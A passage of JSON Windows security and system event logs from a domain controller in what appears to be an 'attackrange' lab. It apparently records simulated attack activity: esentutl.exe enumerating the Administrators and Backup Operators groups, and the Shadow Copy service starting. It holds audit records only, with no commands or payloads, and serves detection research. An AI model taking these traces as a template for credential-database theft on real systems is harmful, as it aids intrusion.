11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222040,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222041,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222042,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222043,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222044,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222045,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E7\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t5\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x354\r\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e7","TargetUserSid":"S-1-5-18","TargetUserName":"SYSTEM","TargetDomainName":"NT AUTHORITY","TargetLogonId":"0x3e7","LogonType":"5","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"-","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\services.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":222046,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tSYSTEM\r\n\tAccount Domain:\t\tNT AUTHORITY\r\n\tLogon ID:\t\t0x3E7\r\n\r\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"SYSTEM","SubjectDomainName":"NT AUTHORITY","SubjectLogonId":"0x3e7","PrivilegeList":"SeAssignPrimaryTokenPrivilege\r\n\t\t\tSeTcbPrivilege\r\n\t\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeAuditPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76848,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The Microsoft Software Shadow Copy Provider service entered the running state.","param1":"Microsoft Software Shadow Copy Provider","param2":"running","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222047,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222048,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222049,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222050,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222051,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222052,"ProcessID":860,"ThreadID":104,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222053,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222054,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-544\r\n\tGroup Name:\t\tAdministrators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Administrators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-544","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222055,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4799,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":13826,"OpcodeValue":0,"RecordNumber":222056,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A security-enabled local group membership was enumerated.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x8005A\r\n\r\nGroup:\r\n\tSecurity ID:\t\tS-1-5-32-551\r\n\tGroup Name:\t\tBackup Operators\r\n\tGroup Domain:\t\tBuiltin\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x12f4\r\n\tProcess Name:\t\tC:\\Windows\\System32\\esentutl.exe","Category":"Security Group Management","Opcode":"Info","TargetUserName":"Backup Operators","TargetDomainName":"Builtin","TargetSid":"S-1-5-32-551","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x8005a","CallerProcessId":"0x12f4","CallerProcessName":"C:\\Windows\\System32\\esentutl.exe","EventReceivedTime":"2020-08-07 11:56:33","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 